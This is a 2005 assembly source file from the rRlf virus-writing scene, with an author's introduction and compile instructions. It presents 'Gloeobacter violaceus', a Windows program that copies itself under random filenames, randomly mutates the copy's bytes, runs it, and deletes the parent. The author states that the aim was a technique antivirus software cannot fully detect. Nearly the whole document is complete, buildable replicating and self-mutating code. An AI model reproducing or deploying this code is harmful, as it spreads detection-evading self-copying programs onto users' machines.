  Gloeobacter violaceus
  by Second Part To Hell/[rRlf]
  www.spth.de.vu
  spth@priest.com
  written in May 2005
  in Austria

  I proudly present my very first real Win32 Project.
  Before anything else I have to say that this is neighter a real virus
  nor a real engine. It is a program emulating the nature's mutations.

  I would descripe it as a primitive artificial life form.

  How does it work?
  1) When executed, it get's the own filename and the parent's filename
  2) It sleeps for 1500 + (0..4095) milliseconds
  3) It copies itself to a random filename in the current directory
  4) 1/4 it mutates:
     - Point Mutation: ~68.75%
     - Chromosome Mutation:
       * Chromosome Inversation
       * Chromosome Translocation
       * Chromosome Delection
       * Chromosome Dublication
       * Chromosome Inseration
  5) It executes the new file
  6) With a chance of ~50% it jmps to 2
  7) It deletes the partent's file
  8) It exits it's own process

  Where the hell can you see a primitive artificial life form?

  Well, we can also say, that the project behaves like that:

  1) Birth of the lifeform
  2) Growing up until it can replicate itself
  3/4) Replicate - there may happen mistakes while replicating
  5) Birth of the child
  6) Maybe it makes another child?!
  7) Give me more space - Remove the corpse of the parent
  8) Death of the lifeform

  About the name: I've thought long time about a suitable name,
  and I think I got a right one: 'Gloeobacter violaceus' are very simple
  bacteria, and also one of the very first life form on our world.

  With this code I've (more than) partly realized my idea, which I've
  written down in the article "Code Evolution: Follow nature's example", and
  I think I've succeded.

  Now let me write some lines about it's behaviour when it's executed:
  First I have to say that every mutation may kill the children. But nevermind,
  the same also happens in nature. As I have tested it very well, I've been faced
  with some strange mutations. Let me tell you some: The filename of the child
  was not .exe but something else; sometimes the DOS-Box opened (when the MZ was
  deleted or changed, Windows wanted to run it as a .COM); and the maybe stranges
  thing ever happend while testing was the creation of two file called 'v' and ' '.
  One is 1kB and one is 500kB, I can neighter read, overwrite, delete or do anything
  else with them. And furthermore they have no arguments as creation-time. They are
  just lost space at my HD, but who cares, I dont need these 501kB :)

  My intention in writing this code was, beside of creating an artificial life form,
  making a technique, which CAN NOT be fully detect by AVs. Reason: Every BIT (!)
  can be changed, and there is no way to find out, how the whole code is changed.

  As even the body of the code may be changed, this could also be called metamorphism.
  But I would not call it 'metamorph', as everything is random (the code don't 'know'
  what it does).

  Thanks goes to BlueOwl and Dr3f, who helped me with some problems with Win32 APIs.

  For compiling:
  Delete the into (this!) and use 'flat assembler 1.56'.




;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;  Gloeobacter violaceus ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

include '..\FASM\INCLUDE\win32ax.inc'

.data
systemtime_struct:	       ; for random number
	  dw 0		       ; wYear
	  dw 0		       ; wMonth
	  dw 0		       ; wDayOfWeek
	  dw 0		       ; wDay
	  dw 0		       ; wHour
	  dw 0		       ; wMinute
	  dw 0		       ; wSecond
rnd:	  dw 0		       ; wMilliseconds

rand_name_buffer:		; The random-engine fills this buffer with 8 random (0-255) bytes
	times 8 db 0

rnd_file_name:			; This will contain the filename of the new child
	times 8 db 0
	db '.exe',0

current_file_value:		; Will contain the current running filename
	times 8 db 0
	db '.exe',0

parent_file		dd 0x0		; Buffer for pointer to the parent-file-name
current_file		dd 0x0		; Buffer for pointer to the current running file
file_handle		dd 0x0
file_size		dd 0x0
map_pointer		dd 0x0
map_handle		dd 0x0
change_byte_offset	dd 0x0
change_byte_value	db 0x0

StartUp_struct:
  StartUp_struct_cb		 dd 0
  StartUp_struct_lpReserved	 dd 0
  StartUp_struct_lpDesktop	 dd 0
  StartUp_struct_lpTitle	 dd 0
  StartUp_struct_dwX		 dd 0
  StartUp_struct_dwY		 dd 0
  StartUp_struct_dwXSize	 dd 0
  StartUp_struct_dwYSize	 dd 0
  StartUp_struct_dwXCountChars	 dd 0
  StartUp_struct_dwYCountChars	 dd 0
  StartUp_struct_dwFillAttribute dd 0
  StartUp_struct_dwFlags	 dd 0
  StartUp_struct_wShowWindow	 dw 0
  StartUp_struct_cbReserved2	 dw 0
  StartUp_struct_lpReserved2	 dd 0
  StartUp_struct_hStdInput	 dd 0
  StartUp_struct_hStdOutput	 dd 0
  StartUp_struct_hStdError	 dd 0


ProcessInfo_Struct:
  PROCESS_INFORMATION_hProcess	  dd 0
  PROCESS_INFORMATION_hThread	  dd 0
  PROCESS_INFORMATION_dwProcessId dd 0
  PROCESS_INFORMATION_dwThreadId  dd 0



.code
  start:
	invoke	GetCommandLine		 ; Get the name of the current file

	cmp	byte [eax], '"' 	 ; Compare if first byte is ". As GetCommandLine could be ["filename"] or [filename]
	jne	got_my_name		 ; If no ", then we already have it

       ;;; FIRST EXECUTION ;;;

	inc	eax			 ; Delete first "
	mov	ebx, eax		 ; Save the pointer
  get_my_name:
	inc	ebx			 ; Get next byte
	cmp	byte [ebx], '.' 	 ; Compare the value with a dot
  jne	get_my_name			 ; If not equal, get next letter of the filename

	add	ebx, 4			 ; Get the pointer of the second "
	mov	byte [ebx], 0x0 	 ; Del the second "
	sub	ebx, 4			 ; Go back to the dot
  get_my_name2:
	dec	ebx			 ; Previous letter
	cmp	byte [ebx], '\' 	 ; Check if it's the end of the path (=filestart-1)
  jne	get_my_name2			 ; if not, get another letter

	inc	ebx			 ; delete the '\'
	mov	eax, ebx		 ; eax=ebx=pointer to start of currentfilename

       ;;; END FIRST EXECUTION ;;;

  got_my_name:
	mov	byte [eax+12], 0x0	 ; make a NULL-terminated string
	mov	[current_file], eax	 ; Save the filename of the current running process

	add	eax, 13 		 ; Point to the first letter of the parent
	mov	[parent_file], eax	 ; Save the pointer to the parent

	call	random_number		 ; Get random number
	mov	ecx, [rand_name_buffer]  ; Move a random number to ecx
	and	ecx, 1			 ; Random number between 0 and 1: New counter

	add	ecx, 1			 ; ecx++ (counter: 1 or 2 childs)

create_next_child:
	push	ecx			; Save the counter

	call	random_number		; Renew random numbers
	mov	ebp, 1500		; ebp=1500
	mov	eax, [rand_name_buffer] ; eax=random number
	and	eax, 4095		; eax=0000 0000 0000 0000 0000 ???? ???? ????
	add	ebp, eax		; ebp=1500+(0..4095)
	invoke	Sleep, ebp		; Sleep 1500+(0..4095) ms

	call	get_n_save_random_name			    ; Get a random filename
	invoke	CopyFile, [current_file], rnd_file_name, 0  ; Copy current file to new file with random name

	call   random_number			; Get new random number
	mov    ax, [rand_name_buffer]		; Get them from buffer
	xor    ah, al				; compain 2 bytes
	and    ah, 3				; ???? ???? -> 0000 00??
	cmp    ah, 2				; ah=0000 0010?
	je     evolution			; If yes -> evolution
   noevolution: 				; Code continues here after mutation, if there where any
	call	birthofchild			; Make the child living!
	pop	ecx				; Another child?
loop create_next_child				; If counter>1, create new child!

	cmp	[parent_file], 0x0		; Compare if parent_file = 0 (first execution?)
	je	Death				; If so, no parent killing, as there is no parent!

	invoke	DeleteFile, [parent_file]	; Kill the parent! (sorry mum, sorry dad :D)

   Death:
	invoke	ExitProcess, 0			; Close current process: Death! :)

birthofchild:
	mov	esi, [current_file]		; esi=pointer to current file name
	mov	edi, current_file_value 	; edi=pointer to buffer for current file name
	mov	ecx, 8				; counter: 8 bytes to copy
	rep	movsb				; Move ecx byte from [esi] to [edi]

	mov	byte [current_file_value-1], 0x20	; Delete the 0x0
	invoke	CreateProcess, 0x0, rnd_file_name, 0x0, 0x0, FALSE, 0x0, 0x0, 0x0, StartUp_struct, ProcessInfo_Struct	; Create child-process
	mov	byte [current_file_value-1], 0x0	; Reset the 0x0
ret

random_number:
	pop	edi				; Get value of stack
	push	edi				; Back to the stack
	mov	ecx, 8				; ecx=counter
	mov	dh, 0xAA			; dh: changes in the function and makes the number little bit more random
	mov	dl, 0x87			; same as dh
   random_name_loop:
	push	dx				; Save dx at stack
	push	ecx				; Save counter at stack
	call	random_byte			; Random number in al
	pop	ecx				; get counter
	xor	al, cl				; Counter influences pseudo random number
	pop	dx				; Get dx
	push	ecx
	xor	dx, cx				; Counter influences influncing number
	add	dh, al				; Random number influences influencing number
	sub	dl, al				; Same as dh
	neg	dl				; Neg dl
	xor	dl, dh				; dl XOR dh -> more variability
	xor	al, dl				; random number changes
	sub	ax, di				; value of stack influences random number
	add	ax, dx				; ax+dx
	mov	dl, [rand_name_buffer+ecx-2]
	mov	dh, [rand_name_buffer+ecx-3]	; dx=???? ???? ????? ?????
	sub	al, dl				; al-=dl
	add	al, dh				; al+=dh
	mov	ah, dl				; ah=dl
	push	ax				; AX to stack
	mov	cl, 1				; cl=1
	or	dh, cl				; dh is at least 1 (to reduce chance of result=zero)
	mul	dh				; AL=AX*DH
	pop	cx				; CX=old AX
	push	cx				; To stack again
	add	cl, al				; CL+=AL
	sub	cl, ah				; CL-=AH
	xchg	al, cl				; AL=CL
	mov	cx, bp				; cx=bp
	mul	cl				; AX=AL*CL
	neg	ah				; NEG AH
	xor	al, ah				; xor AL and AH
	pop	cx				; get old AX
	sub	cl, al				; SUB
	add	cl, dl				; cl+=old random number
	sub	al, cl				; al ~=random :)
	pop	ecx				; Get counter
	mov	[rand_name_buffer+ecx-1], al	; Save random letter
   loop random_name_loop

ret

random_name:
	call	random_number			; Get 8 random bytes
	mov	ecx, 8				; counter=8, as we want to do it 8 times

   changetoletter:
	mov	al, [rand_name_buffer+ecx-1]	; Get a letter
	mov	bl, 10				; BL=10
	xor	ah, ah				; AX: 0000 0000 ???? ????
	div	bl				; AL=rnd/10=number between 0 and 25
	add	al, 97				; Add 97 for getting lowercase letters
	mov	[rnd_file_name+ecx-1], al	; Save random letter
   loop changetoletter
ret

random_byte:
	invoke	GetSystemTime, systemtime_struct	; Get first number
	mov	ebx, [rnd-2]				; ebx=number
	add	ebx, edx				; Making it pseudo-independent of time
	sub	ebx, ecx
	xor	ebx, eax
	xchg	bl, bh
	pop	ecx
	push	ecx
	neg	ebx
	xor	ebx, ecx				; ebx=pseudo-indepentend number

	invoke	GetTickCount				; Get second number
	xor	eax, ecx				; eax=number
	neg	ax					; Making it pseudo-independent of time
	xor	eax, edx
	xor	ah, al
	sub	eax, ebp
	add	eax, esi				; eax=pseudo-indepentend number

	xor	eax, ebx				; Compain the numbers -> eax
	mov	ebx, eax				; Save eax
	shr	eax, 8					; e-part -> ax
	xor	ax, bx
	xor	al, ah					; al=number
ret

get_n_save_random_name:
	mov	ebp, 12 				; ebp influences the pseudo-random-number engine too
	call	random_name				; Get a random name
ret

evolution:
;        invoke  MessageBox, 0x0, rnd_file_name, "Code Evolution", 0x0

	invoke	CreateFile, rnd_file_name, 0xC0000000 ,0x1, 0x0, 0x3, 0x0, 0x0		; Open the new created file
	mov	[file_handle], eax							; Save the file handle
	invoke	GetFileSize, [file_handle], file_size					; Get the size of the file
	mov	[file_size], eax							; Low Filesize returned in eax
	invoke	CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0	; Create a Map
	mov	[map_handle], eax								; Save the Map handle

	invoke	MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]		; Map view of file
	mov	[map_pointer], eax								; Save the pointer of file

	call	random_number				; Get a random number
	mov	al, [rand_name_buffer]			; Radom number in al

; Chances:
; Point-Mutation: ~50%+18.75%=~68.75%
; Each Chromosome Mutation: ~6.25%

	and	al, 1					; al=0000 000?
	cmp	al, 1					; Compare with 1
	je	pointmutation				; If al=1 then jmp pointmutation (change: ~50%)

	mov	al, [rand_name_buffer+4]		; al=new random number
	and	al, 7					; al=0000 0???

	cmp	al, 0					; Compare al with 0
	je	chrom_inversation			; If al=0 make Chromosome Inversation

	cmp	al, 1					; Compare al with 1
	je	chrom_translocation			; If al=1 make Chromosome Translocation

	cmp	al, 2					; Compare al with 2
	je	chrom_delection 			; If al=2 make Chromosome Delection

	cmp	al, 3					; Compare al with 3
	je	chrom_dublication			; If al=2 make Chromosome Dublication

	cmp	al, 4					; Compare al with 4
	je	chrom_inseration			; If al=4 make Chromosome Inseration

	jmp	pointmutation				; Otherwise do Pointmutation (Chance ~18.75%)

   endofmutation:
	invoke	UnmapViewOfFile, [map_pointer]		; Unmap View of File

	invoke	CloseHandle, [map_handle]		; Close Map
	invoke	CloseHandle, [file_handle]		; Close File
jmp	noevolution

pointmutation:					; Mutation: Pointmutation
	call	random_number			; Renew the random numbers
	xor	eax, eax			; eax=0
	mov	ax, [rand_name_buffer]		; eax=0000 0000 0000 0000 ???? ???? ???? ????
	mov	ebx, [file_size]		; ebx=File size
	cmp	eax, ebx			; comparee Random Number with File Size
	jg	pointmutation			; If RN>Filesize then get new random number (=byte to change)

	add	eax, [map_pointer]		; eax=Byte to change in memory
	mov	[change_byte_offset], eax	; Save the offset

	mov	ah, [eax]			; Get the value of the byte
	mov	[change_byte_value], ah 	; Save it

	mov	cl, [rand_name_buffer+5]	; cl=???? ????
	and	cl, 7				; cl=0000 0???
	mov	al, 1				; al=0000 0001
	shl	al, cl				; AL= ? <- |0|0|0|0| |0|0|0|1| -- ?
	mov	esi, [change_byte_offset]	; esi=offset of byte to change
	xor	[esi], al			; XOR byte with AL
;        invoke  MessageBox, 0x0, esi, "Point Mutation", 0x0
jmp	endofmutation

chrom_inversation:				; Mutation: Chromosome Mutation - Inversation
	call	random_number			; Renew the random numbers
	xor	eax, eax			; eax=0
	mov	ax, [rand_name_buffer]		; eax=0000 0000 0000 0000 ???? ???? ???? ????
	mov	ebx, [file_size]		; ebx=Filesize
	sub	ebx, 16 			; ebx-=16 (As we may change two 8 byte parts)
	cmp	eax, ebx			; comparee Random number with Filesize-16
	jg	chrom_inversation		; If RN>Filesize-16 then get new random number (=place to change)

	add	eax, [map_pointer]		; Add the offset of file memory
	mov	[change_byte_offset], eax	; Save the -to-be-changed- offset

	xor	ecx, ecx			; ecx=0
	mov	cx, [rand_name_buffer+2]	; ecx=0000 0000 0000 0000 ???? ???? ???? ????
	and	cx, 7				; ecx=0000 0000 0000 0000 0000 0000 0000 0???
	mov	[change_byte_value], cl 	; Save cl (=How many bytes to change)

	mov	esi, [change_byte_offset]	; ESI=Offset of part 1
	mov	edi, rand_name_buffer		; EDI=Offset of Buffer
	rep	movsb				; part 1 to buffer: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]


	xor	eax, eax			; eax=0
	mov	al, [change_byte_value] 	; eax=Counter (start of part 2)
	add	eax, [change_byte_offset]	; eax+=Offset in memory of part 2

	xor	ecx, ecx			; ecx=0
	mov	cl, [change_byte_value] 	; ecx=Counter

	mov	esi, eax			; ESI=Offset of part 2
	mov	edi, [change_byte_offset]	; EDI=Offset of part 1
	rep	movsb				; part 2 to part 1: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]


	xor	ecx, ecx			; ecx=0
	mov	cl, [change_byte_value] 	; ecx=Counter
	mov	eax, [change_byte_offset]	; eax=Start of part 1
	add	eax, ecx			; eax=Start of part 2

	mov	esi, rand_name_buffer		; ESI=Offset of buffer
	mov	edi, eax			; EDI=Offset of part 2
	rep	movsb				; buffer to part 1

;        invoke  MessageBox, 0x0, "Inversation", "Chromosome Mutation", 0x0
jmp	endofmutation				; Finished Inversation!

chrom_translocation:
	call	random_number			; Renew the random numbers
	xor	eax, eax			; eax=0
	mov	ax, [rand_name_buffer]		; eax=0000 0000 0000 0000 ???? ???? ???? ????
	mov	ebx, [file_size]		; ebx=Filesize
	sub	ebx, 8				; ebx-=8 (As we may change 8 byte)
	cmp	eax, ebx			; Compare Random number with Filesize-8
	jg	chrom_translocation		; If RN>Filesize-8 then get new random number (=place to change)

	add	eax, [map_pointer]		; Add the offset of file memory
	mov	[change_byte_offset], eax	; Save the -to-be-changed- offset

	xor	ecx, ecx			; ecx=0
	mov	cx, [rand_name_buffer+2]	; ecx=0000 0000 0000 0000 ???? ???? ???? ????
	and	cx, 7				; ecx=0000 0000 0000 0000 0000 0000 0000 0???
	mov	[change_byte_value], cl 	; Save cl (=How many bytes to change)

	mov	esi, [change_byte_offset]	; ESI=Offset of source
	mov	edi, rand_name_buffer		; EDI=Offset of Buffer
	rep	movsb				; Code-Part to buffer: MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]

	mov	ecx, [file_size]		; eax=filesize
	add	ecx, [map_pointer]		; eax=End of file in memory
	sub	ecx, [change_byte_offset]	; eax=Bytes after Change_byte_offset

	mov	esi, [change_byte_offset]	; esi=Pointer to change byte
	xor	eax, eax			; eax=0
	mov	al, [change_byte_value] 	; eax=number of bytes to change
	add	esi, eax			; esi=Pointer to end of changing in memory

	mov	edi, [change_byte_offset]	; edi=Offset of changing
	rep	movsb

   chrom_trans_loop:				; Get a offset, where to save the part
	call	random_number			; Renew the random numbers
	xor	eax, eax			; eax=0
	mov	ax, [rand_name_buffer]		; eax=0000 0000 0000 0000 ???? ???? ???? ????
	mov	ebx, [file_size]		; ebx=Filesize
	sub	ebx, 8				; ebx-=8 (As we may change 8 byte)
	cmp	eax, ebx			; Compare Random number with Filesize-8
   jg	chrom_trans_loop			; If RN>Filesize-8 then get new random number (=place to change)

	add	eax, [map_pointer]		; Add the offset of file memory
	mov	[change_byte_offset], eax	; Save offset of changing

	mov	ecx, [map_pointer]		; ecx=Start of file in memory
	add	ecx, [file_size]		; ecx=End of file in memory

	sub	ecx, [change_byte_offset]	; ecx=Bytes after change-place
	xor	eax, eax			; eax=0
	mov	al, [change_byte_value] 	; eax=number of bytes to change
	sub	ecx, eax			; ecx-=number of bytes to change

	mov	esi, [change_byte_offset]	; esi=Offset of changing
	mov	edi, [change_byte_offset]	; edi=offset of changing
	add	edi, eax			; edi=Offset after changing

   chrom_trans_buffer:				; Delete the Code-Part
	mov	al, [esi+ecx]			; al=Value to Replace
	mov	[edi+ecx], al			; Save al
   loop chrom_trans_buffer

;        invoke  MessageBox, 0x0, "Translocation", "Chromosome Mutation", 0x0
jmp	endofmutation

chrom_delection:
	call	random_number			; Renew the random numbers
	xor	eax, eax			; eax=0
	mov	ax, [rand_name_buffer]		; eax=0000 0000 0000 0000 ???? ???? ???? ????
	mov	ebx, [file_size]		; ebx=Filesize
	sub	ebx, 8				; ebx-=8
	cmp	eax, ebx			; comparee Random number with Filesize
	jg	chrom_delection 		; If RN>Filesize-8 then get new random number (=place to change)

	add	eax, [map_pointer]		; Add the offset of file memory
	mov	[change_byte_offset], eax	; Save the pointer

	call	random_number			; Get a random number
	xor	ecx, ecx			; ecx=0
	mov	cl, [rand_name_buffer]		; cl=random number
	and	cl, 7				; cl=0000 0???
	mov	[change_byte_value], cl 	; Save the random number

	mov	ecx, [file_size]		; eax=filesize
	add	ecx, [map_pointer]		; eax=End of file in memory
	sub	ecx, [change_byte_offset]	; eax=Bytes after Change_byte_offset

	mov	esi, [change_byte_offset]	; esi=Pointer to change byte
	xor	eax, eax			; eax=0
	mov	al, [change_byte_value] 	; eax=number of bytes to change
	add	esi, eax			; esi=Pointer to end of changing in memory

	mov	edi, [change_byte_offset]	; edi=Offset of changing
	rep	movsb

;        invoke  MessageBox, 0x0, "Delection", "Chromosome Mutation", 0x0
jmp	endofmutation

chrom_dublication:
	invoke	UnmapViewOfFile, [map_pointer]	; Unmap File, as we need to open it with another size
	invoke	CloseHandle, [map_handle]	; Close Map-Handle

	call	random_number			; Get a random number
	xor	ecx, ecx			; ecx=0
	mov	cl, [rand_name_buffer]		; cl=random number
	and	cl, 7				; cl=0000 0???
	mov	[change_byte_value], cl 	; Save the random number

	add	ecx, [file_size]		; ecx=New filesize
	mov	[file_size], ecx		; Save new filesize
	invoke	CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0
	mov	[map_handle], eax

	invoke	MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]
	mov	[map_pointer], eax

   chrom_dubl_loop1:
	call	random_number			; Renew the random numbers
	xor	eax, eax			; eax=0
	mov	ax, [rand_name_buffer]		; eax=0000 0000 0000 0000 ???? ???? ???? ????
	mov	ebx, [file_size]		; ebx=Filesize
	sub	ebx, 8				; ebx-=8
	cmp	eax, ebx			; comparee Random number with Filesize
   jg	chrom_dubl_loop1			; If RN>Filesize-8 then get new random number (=place to change)

	add	eax, [map_pointer]		; eax=Pointer to changing part
	mov	[change_byte_offset], eax	; Save the offset

	mov	ecx, [map_pointer]		; ecx=Start of file in memory
	add	ecx, [file_size]		; ecx=End of file in memory

	sub	ecx, [change_byte_offset]	; ecx=Bytes after change-place
	xor	eax, eax			; eax=0
	mov	al, [change_byte_value] 	; eax=number of bytes to change
	sub	ecx, eax			; ecx-=number of bytes to change

	mov	esi, [change_byte_offset]	; esi=Offset of changing
	mov	edi, [change_byte_offset]	; edi=offset of changing
	add	edi, eax			; edi=Offset after changing

   chrom_dubl_buffer:				; Make a buffer
	mov	al, [esi+ecx]			; al=Value to Replace
	mov	[edi+ecx], al			; Save al
   loop chrom_dubl_buffer

	xor	ecx, ecx			; ecx=0
	mov	cl, [change_byte_value] 	; ecx=lenght of string to dublicate
	mov	esi, [change_byte_offset]	; From
	mov	edi, [change_byte_offset]	; To
	add	edi, ecx			; Offset of buffer
	rep	movsb

;        invoke  MessageBox, 0x0, "Dublication", "Chromosome Mutation", 0x0
jmp	endofmutation


chrom_inseration:
	invoke	UnmapViewOfFile, [map_pointer]	; Unmap File, as we need to open it with anothe size
	invoke	CloseHandle, [map_handle]	; Close Map-Handle

	call	random_number			; Get a random number
	xor	ecx, ecx			; ecx=0
	mov	cl, [rand_name_buffer]		; cl=random number
	and	cl, 7				; cl=0000 0???
	mov	[change_byte_value], cl 	; Save the random number

	add	ecx, [file_size]		; ecx=New filesize
	mov	[file_size], ecx		; Save new filesize
	invoke	CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0
	mov	[map_handle], eax

	invoke	MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]
	mov	[map_pointer], eax

   chrom_inser_loop1:
	call	random_number			; Renew the random numbers
	xor	eax, eax			; eax=0
	mov	ax, [rand_name_buffer]		; eax=0000 0000 0000 0000 ???? ???? ???? ????
	mov	ebx, [file_size]		; ebx=Filesize
	sub	ebx, 8				; ebx-=8
	cmp	eax, ebx			; comparee Random number with Filesize
   jg	chrom_inser_loop1			; If RN>Filesize-8 then get new random number (=place to change)

	add	eax, [map_pointer]		; eax=Pointer to changing part
	mov	[change_byte_offset], eax	; Save the offset

	mov	esi, [change_byte_offset]	; esi=Offset to get the new part
	mov	edi, rand_name_buffer		; edi=where to save
	xor	ecx, ecx			; ecx=0
	mov	cl, [change_byte_value] 	; ecx=How many bytes
	rep	movsb				; Save the part.

   chrom_inser_loop2:
	call	random_number			; Renew the random numbers
	xor	eax, eax			; eax=0
	mov	ax, [rand_name_buffer]		; eax=0000 0000 0000 0000 ???? ???? ???? ????
	mov	ebx, [file_size]		; ebx=Filesize
	sub	ebx, 8				; ebx-=8
	cmp	eax, ebx			; Compare Random number with Filesize
   jg	chrom_inser_loop2			; If RN>Filesize-8 then get new random number (=place to change)

	add	eax, [map_pointer]		; eax=Pointer to changing part
	mov	[change_byte_offset], eax	; Save the offset

	mov	ecx, [map_pointer]		; ecx=Start of file in memory
	add	ecx, [file_size]		; ecx=End of file in memory

	sub	ecx, [change_byte_offset]	; ecx=Bytes after change-place
	xor	eax, eax			; eax=0
	mov	al, [change_byte_value] 	; eax=number of bytes to change
	sub	ecx, eax			; ecx-=number of bytes to change

	mov	esi, [change_byte_offset]	; esi=Offset of changing
	mov	edi, [change_byte_offset]	; edi=offset of changing
	add	edi, eax			; edi=Offset after changing

   chrom_inser_buffer:				; Make a buffer
	mov	al, [esi+ecx]			; al=Value to Replace
	mov	[edi+ecx], al			; Save al
   loop chrom_inser_buffer

	mov	esi, rand_name_buffer		; esi=source
	mov	edi, [change_byte_offset]	; edi=destination
	xor	ecx, ecx			; ecx=0
	mov	cl, [change_byte_value] 	; ecx=length
	rep	movsb				; Write saved part to the new place

;        invoke  MessageBox, 0x0, "Inseration", "Chromosome Mutation", 0x0
jmp	endofmutation

.end start